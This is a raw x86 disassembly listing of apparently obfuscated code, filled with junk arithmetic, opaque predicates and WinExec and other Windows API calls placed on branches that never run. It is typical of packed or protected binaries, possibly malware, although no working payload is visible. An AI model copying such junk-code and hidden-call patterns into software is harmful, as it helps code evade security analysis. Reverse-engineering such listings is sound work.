mov dword [ebp - 0x1c], eax
jmp 0x10036281
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x30], 0x64f5774
mov dword [ebp - 0x48], 0x41ab
dec dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x654]
call fcn.1001b330
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1003625d
push esi
lea ecx, [ebp - 0x244]
call fcn.1001b330
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
cmp eax, esi
setg cl
xor eax, eax
cmp ecx, 0x4a9b
setl al
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x12
lea ecx, [ebp - 0x244]
push esi
jle 0x1003621f
call fcn.1001b330
lea ecx, [ebp - 0x244]
mov dword [eax], 0xfffffffc
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x654]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], ebx
call fcn.1001b32b
mov dword [ebp - 0x10], 0xfff6
xor eax, eax
mov dword [ebp - 0x2c], 0xdd35930c
push 2
mov dword [ebp - 0x24], eax
pop ebx
cmp dword [ebp - 0x24], ebx
jge 0x100362fa
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4b8], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100362e2
xor eax, eax
push esi
cmp dword [ebp - 0x10], eax
je 0x100365ee
lea ecx, [ebp - 0x15c]
call fcn.1001b2a6
push esi
lea ecx, [ebp - 0x600]
mov dword [ebp - 4], 0xd
call fcn.1001b2a6
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003634e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x15c]
call fcn.1001b330
mov dword [eax], 0x83c8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10036330
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10036374
push dword [ebp - 0x10]
lea ecx, [ebp - 0x600]
call fcn.1001b330
mov dword [eax], 0x720725fc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10036356
xor eax, eax
mov dword [ebp - 0x10], 0xfffffffc
jmp 0x100365c1
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x2c], 0xd2d97b6e
mov dword [ebp - 0x48], 0x144d9913
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x4c], 0x6a54ee8
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x100365be
or eax, 0xffffffff
lea ecx, [ebp - 0x838]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], 8
push ebx
call fcn.1001b2a6
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x24], eax
jmp 0x100363e2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x838]
call fcn.1001b330
mov dword [eax], 0x7dc23988
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100363cb
push dword [ebp - 0x44]
lea ecx, [ebp - 0x15c]
call fcn.1001b330
xor ebx, ebx
lea ecx, [ebp - 0x15c]
push ebx
call fcn.1001b330
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x600]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
push ebx
call fcn.1001b330
push dword [ebp - 0x44]
lea ecx, [ebp - 0x15c]
mov dword [eax], esi
call fcn.1001b330
push ebx
lea ecx, [ebp - 0x15c]
mov esi, dword [eax]
dec esi
call fcn.1001b330
cmp esi, dword [eax]
je 0x1003644c
push dword [ebp - 0x44]
lea ecx, [ebp - 0x15c]
call fcn.1001b330
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x15c]
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x44]
call fcn.1001b330
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x15c]
push dword [ebp - 0x44]
imul esi, dword [eax]
call fcn.1001b330
sub esi, dword [eax]
jne 0x10036484
push ebx
lea ecx, [ebp - 0x600]
call fcn.1001b330
mov esi, dword [ebp - 0x44]
lea ecx, [ebp - 0x15c]
push dword [ebp - 0x44]
neg esi
sbb esi, esi
neg esi
call fcn.1001b330
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp esi, ecx
push ebx
setl dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
add ecx, 0x423b19d8
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x838]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], eax
call fcn.1001b330
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
lea ecx, [ebp - 0x15c]
mov eax, dword [ebp - 0x44]
push dword [ebp - 0x44]
call fcn.1001b330
cmp dword [eax], ebx
jne 0x100364e4
mov eax, dword [ebp - 0x44]
push ebx
lea ecx, [ebp - 0x15c]
call fcn.1001b330
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
dec esi
neg esi
sbb esi, esi
xor edx, edx
neg esi
dec esi
cmp ecx, esi
lea ecx, [ebp - 0x15c]
setle dl
xor ebx, ebx
cmp edx, dword [eax]
setge bl
mov dword [ebp - 0x4b4], ebx
push dword [ebp - 0x44]
call fcn.1001b330
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor ebx, ebx
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x600]
push ebx
call fcn.1001b330
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
imul eax, ecx
test eax, eax
jne 0x1003655d
push ebx
lea ecx, [ebp - 0x600]
call fcn.1001b330
cmp dword [eax], ebx
jne 0x1003655d
xor eax, eax
mov ecx, eax
jmp 0x10036562
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x38]
sub eax, ecx
lea ecx, [ebp - 0x15c]
imul eax, dword [ebp - 0x2c]
push ebx
mov dword [ebp - 0x48], eax
call fcn.1001b330
mov esi, dword [ebp - 0x48]
lea ecx, [ebp - 0x838]
push ebx
sub esi, dword [eax]
neg esi
sbb esi, esi
inc esi
call fcn.1001b330
lea ecx, [ebp - 0x838]
mov eax, dword [eax]
imul eax, esi
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xe
call fcn.1001b32b
dec dword [ebp - 0x44]
push 1
pop esi
push 2
pop ebx
jns 0x100363a7
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x20
jl 0x10036380
lea ecx, [ebp - 0x600]
call fcn.1001b32b
or eax, 0xffffffff
lea ecx, [ebp - 0x15c]
mov dword [ebp - 4], eax
call fcn.1001b32b
xor ebx, ebx
jmp 0x10036697
lea ecx, [ebp - 0x88c]
call fcn.1001b2a6
mov dword [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x48], 0x91be676c
mov dword [ebp - 0x48], 0xffbebd5d
mov dword [ebp - 0x24], eax
jmp 0x10036626
push dword [ebp - 0x24]
call fcn.1001b330
mov dword [eax], 5
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x88c]
cmp dword [ebp - 0x24], esi
jl 0x10036615
mov eax, dword [ebp - 0x4b8]
xor ebx, ebx
push ebx
call fcn.1001b330
mov eax, dword [ebp - 0x4b4]
lea ecx, [ebp - 0x88c]
push ebx
call fcn.1001b330
imul ecx, dword [ebp - 0x2c], 0x22a8
cmp ecx, 0xfffffff7
sbb ecx, ecx
neg ecx
sub ecx, dword [eax]
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
test eax, eax
setle cl
cmp ecx, esi
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
lea ecx, [ebp - 0x88c]
setl dl
or eax, 0xffffffff
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], eax
call fcn.1001b32b
mov dword [ebp - 0x4b4], 0xfffffff6
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x44], 0x3fa3a92b
mov dword [ebp - 0x38], 0x585ca258
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
push 2
mov dword [ebp - 0x20], eax
pop ebx
jmp 0x100368f7
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x2c], 0x2570
mov dword [ebp - 0x28], 0xffffffe9
cmp dword [ebp - 0x28], 0x11
jl 0x100368f1
mov dword [ebp - 0x54], 0x23afc371
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffe8
jg 0x100368de
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x814]
push 4
call fcn.1001b2a6
xor eax, eax
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x24], eax
jmp 0x1003672f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x814]
call fcn.1001b330
mov dword [eax], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003671c
mov dword [ebp - 0x40], 8
or eax, 0xffffffff
cmp dword [ebp - 0x40], eax
jle 0x100368b9
xor ebx, ebx
inc ebx
movdqa xmm0, xmmword [0x1000a7d0]
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x1158]
push eax
lea ecx, [ebp - 0x1580]
movdqu xmmword [ebp - 0x1158], xmm0
call fcn.1001b33f
lea ecx, [ebp - 0x2c1]
mov esi, eax
call fcn.1000b813
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xea0]
push dword [esi]
call fcn.1001b305
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x48], 0xd35da2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0xffffffe8
cmp dword [ebp - 0x44], 0xe
jne 0x1003689b
xor eax, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jg 0x10036887
push 3
lea ecx, [ebp - 0xccc]
call fcn.1001b2a6
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10036808
push dword [ebp - 0x24]
lea ecx, [ebp - 0xccc]
call fcn.1001b330
mov dword [eax], 0x475761ac
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x100367e9
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003681a
push eax
push eax
push 0x75b
call edi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x814]
call fcn.1001b330
push dword [ebp - 0x10]
lea ecx, [ebp - 0x814]
call fcn.1001b330
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0xea0]
push 3
call fcn.1001b330
push 2
lea ecx, [ebp - 0xccc]
mov dword [eax], 0xa567
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
pop eax
push eax
call fcn.1001b330
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 0x12
mov dword [eax], ecx
lea ecx, [ebp - 0xccc]
call fcn.1001b32b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x100367cd
xor eax, eax
mov dword [ebp - 0x38], 0x64de8cc1
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xe
je 0x100367bd
lea ecx, [ebp - 0xea0]
mov byte [ebp - 4], 0x11
call fcn.1001b32b
dec dword [ebp - 0x40]
or eax, 0xffffffff
cmp dword [ebp - 0x40], eax
jg 0x1003674b
lea ecx, [ebp - 0x814]
mov dword [ebp - 4], eax
call fcn.1001b32b
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffe8
push 1
pop esi
push 0xffffffffffffffff
pop ecx
jle 0x100366fe
xor eax, eax
or ecx, ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x11
push 1
pop esi
jge 0x100366ea
push 2
pop ebx
inc dword [ebp - 0x20]
push 1
pop esi
cmp dword [ebp - 0x20], ebx
jne 0x100366cb
mov dword [ebp - 0x24], 0x2c58fb77
or esi, 0xffffffff
mov dword [ebp - 0x10], 0x25b9b55b
xor edi, edi
mov dword [ebp - 0x48], esi
inc edi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], 0xba7c3387
mov dword [ebp - 0x30], 0x395830af
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10036947
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3b4], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10036933
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff8
cmp dword [ebp - 0x10], 0xe
jge 0x10036aba
jmp 0x1003695c
xor eax, eax
mov dword [ebp - 0x38], 0x3f0bc502
lea ecx, [ebp - 0x108c]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xfadbacd6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x82ea9177
push ebx
call fcn.1001b2a6
xor eax, eax
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], eax
jmp 0x100369ad
push dword [ebp - 0x24]
lea ecx, [ebp - 0x108c]
call fcn.1001b330
mov dword [eax], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003699a
mov eax, dword [ebp - 0x38]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x3b4], eax
dec dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg edx
cmp edx, eax
setl cl
cmp ecx, esi
sbb eax, eax
neg eax
cmp esi, eax
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10], 0xfffffffa
test eax, eax
setg cl
cmp ecx, 0xd162c5d1
sbb eax, eax
inc eax
add eax, dword [ebp - 0x10]
je 0x10036a59
push ebx
lea ecx, [ebp - 0xb7c]
call fcn.1001b2a6
mov byte [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffe
mov dword [ebp - 0x24], eax
jmp 0x10036a36
push dword [ebp - 0x24]
call fcn.1001b330
mov dword [eax], 0xbebf0a0c
inc dword [ebp - 0x24]
lea ecx, [ebp - 0xb7c]
cmp dword [ebp - 0x24], ebx
jl 0x10036a25
push edi
call fcn.1001b330
lea ecx, [ebp - 0xb7c]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
call fcn.1001b32b
jmp 0x10036a9c
mov dword [ebp - 0x14], 0x70cc321a
xor ecx, ecx
mov dword [ebp - 0x48], 0x804524be
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3b4], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x14]
cmp edx, eax
setne cl
sub ecx, 0x7a05
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x2c]
lea ecx, [ebp - 0x108c]
mov dword [ebp - 4], esi
call fcn.1001b32b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xe
jl 0x1003695a
mov dword [ebp - 0x2c], 0xfffa
xor eax, eax
mov dword [ebp - 0x14], 0x7186
mov dword [ebp - 0x38], 0xedade098
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10036aee
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x78], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10036ad9
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10036b04
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x104], 0x523dd972
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10036af3
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x38], 0xaee5a986
mov eax, dword [ebp - 0x14]
sub eax, 0xadb8
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x38], eax
je 0x10036b31
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
xor edx, edx
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x104], edx
cmp dword [ebp - 0x78], eax
jne 0x10036b56
mov eax, dword [ebp - 0x78]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], 0x33e7a329
mov dword [ebp - 0x4c], 0xfffffffa
mov dword [ebp - 0x38], 0x36c1418e
cmp dword [ebp - 0x10], eax
je 0x10036bf8
mov eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
sub ecx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x104]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
setg dl
add ecx, edx
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
test edx, edx
setle al
xor edx, edx
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x104]
imul ecx, eax
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setg dl
sub edx, 0x8940
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
add eax, 0xa3ce
jne 0x10036bfb
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x252cb136
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10036c41
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1590], 0x342e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10036c29
xor eax, eax
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x10036c83
cmp dword [ebp - 0x10], eax
jne 0x10036c83
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10036c7e
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x1f6b
push 0x20d
push 0x126b
push 0x128e
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_TrackPopupMenu]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10036c49
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jg 0x10036cbf
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0x65352f76
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10036cb4
push 0x1e90
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
inc dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], edi
jle 0x10036c8e
mov dword [ebp - 0x24], eax
jmp 0x10036cd5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xaec], 0xda3c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10036cc4
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, edx
push 3
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x8a4]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
call fcn.1001b2a6
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0xdd4]
mov dword [ebp - 0x38], esi
push 4
call fcn.1001b2a6
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10036d52
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8a4]
call fcn.1001b330
mov dword [eax], 0xac9d73df
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10036d33
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10036d6e
push dword [ebp - 0x10]
lea ecx, [ebp - 0xdd4]
call fcn.1001b330
mov dword [eax], 0xb94b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10036d57
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x8a4]
sub eax, 0x534de6f8
neg eax
push edi
sbb eax, eax
lea esi, [eax + 0x8d97]
call fcn.1001b330
mov dword [eax], esi
test esi, esi
je 0x10036dad
push edi
lea ecx, [ebp - 0x8a4]
call fcn.1001b330
cmp dword [eax], 0
je 0x10036dad
mov eax, edi
jmp 0x10036daf
xor eax, eax
xor ecx, ecx
cmp eax, 0x20b50f6b
setl cl
xor edx, edx
add ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
jne 0x10036df4
mov esi, eax
cmp dword [ebp - 0x38], eax
je 0x10036df6
mov esi, edi
push ebx
lea ecx, [ebp - 0xdd4]
call fcn.1001b330
xor ecx, ecx
neg esi
cmp esi, dword [eax]
setge cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xdd4]
call fcn.1001b32b
or esi, 0xffffffff
lea ecx, [ebp - 0x8a4]
mov dword [ebp - 4], esi
call fcn.1001b32b
xor eax, eax
mov ebx, 0x364d64ea
cmp dword [ebp - 0x24], eax
je 0x10036e96
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, edi
setg cl
xor eax, eax
cmp ecx, ebx
mov ecx, 0xa5720fbc
setne al
sub eax, dword [ebp - 0x1c]
add eax, 0x40e1
sub ecx, eax
mov dword [ebp - 0xaec], eax
add ecx, dword [ebp - 0x24]
cmp ecx, 0xfffffffe
mov ecx, dword [ebp - 0x2c]
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x2c]
je 0x10036e7e
mov eax, dword [ebp - 0xaec]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x1c]
je 0x10036e94
mov edx, edi
jmp 0x10036e98
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
push 2
setl cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], esi
mov esi, 0x2c58fb77
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x48], 0xfffa
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
pop ecx
jmp 0x10036ed5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xae4], 0xda3c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10036ec4
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10036f61
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, edi
setg cl
xor eax, eax
cmp ecx, ebx
mov ecx, 0xa5720fbc
setne al
sub eax, dword [ebp - 0x1c]
add eax, 0x40e1
sub ecx, eax
mov dword [ebp - 0xae4], eax
add ecx, dword [ebp - 0x24]
cmp ecx, 0xfffffffe
mov ecx, dword [ebp - 0x48]
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x48]
je 0x10036f49
mov eax, dword [ebp - 0xae4]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x1c]
je 0x10036f5f
mov edx, edi
jmp 0x10036f63
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
push 2
setl cl
or eax, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x48], 0xfffa
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
pop ecx
jmp 0x10036f9e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xac4], 0xda3c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10036f8d
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003702a
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, edi
setg cl
xor eax, eax
cmp ecx, ebx
mov ecx, 0xa5720fbc
setne al
sub eax, dword [ebp - 0x1c]
add eax, 0x40e1
sub ecx, eax
mov dword [ebp - 0xac4], eax
add ecx, dword [ebp - 0x24]
cmp ecx, 0xfffffffe
mov ecx, dword [ebp - 0x48]
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x48]
je 0x10037012
mov eax, dword [ebp - 0xac4]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x1c]
je 0x10037028
mov edx, edi
jmp 0x1003702c
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
movdqa xmm0, xmmword [0x1000a7d0]
cmp edx, eax
movdqu xmmword [ebp - 0x1278], xmm0
setl cl
or eax, 0xffffffff
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x15a0]
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1268]
push eax
lea eax, [ebp - 0x1278]
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x30], edi
push eax
call fcn.1001b33f
lea ecx, [ebp - 0x21e]
mov esi, eax
call fcn.1000b813
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xeb8]
push dword [esi]
call fcn.1001b305
xor eax, eax
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x100370c3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x84], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100370af
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetClassNameW]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 6
jle 0x100373a1
push 2
pop esi
mov dword [ebp - 0x28], 0x7ad95e17
lea ecx, [ebp - 0x40c]
push esi
call fcn.1001b2a6
mov byte [ebp - 4], 0x19
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xb5ad8edc
mov dword [ebp - 0x24], eax
jmp 0x1003711b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x40c]
call fcn.1001b330
